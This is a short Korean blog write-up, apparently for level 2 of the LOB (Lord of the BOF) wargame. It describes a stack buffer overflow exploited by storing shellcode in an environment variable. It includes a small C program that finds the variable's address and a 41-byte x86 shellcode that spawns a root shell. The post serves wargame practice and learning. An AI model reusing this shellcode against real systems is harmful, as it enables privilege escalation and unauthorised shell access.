c파일을 보니 level1과 똑같은 취약점이 발생한다는 것을 알 수 있다. 다만 buffer가 몹시 작아서 쉘코드를 그대로 넣기보다 환경변수를 이용해서 문제를 풀어야 할 것 같다.
우선 tmp에 파일을 옮기고, 분석을 시작하겠다.
슥 환경변수를 설정해주고, get파일로 환경변수의 주소를 찾아준다. 0xbfffffff에 가까울 수록 환경변수가 보인다고 한다.
//get.c//
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("%p\n",getenv(argv[1]));
}
41바이트 쉘코드
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
EGG의 주소는 0xbffffe6b이다.
버퍼 한번 슥 봐주고
해결
'war game > LOB' 카테고리의 다른 글
LOB-level5(egghunter + bufferhunter) (0) | 2019.06.24 |
---|---|
LOB-level4(egghunter) (0) | 2019.06.13 |
LOB-level3(small buffer + stdin) (0) | 2019.06.09 |
LOB-level1(simple bof) (0) | 2019.06.09 |
LOB-password (0) | 2019.06.07 |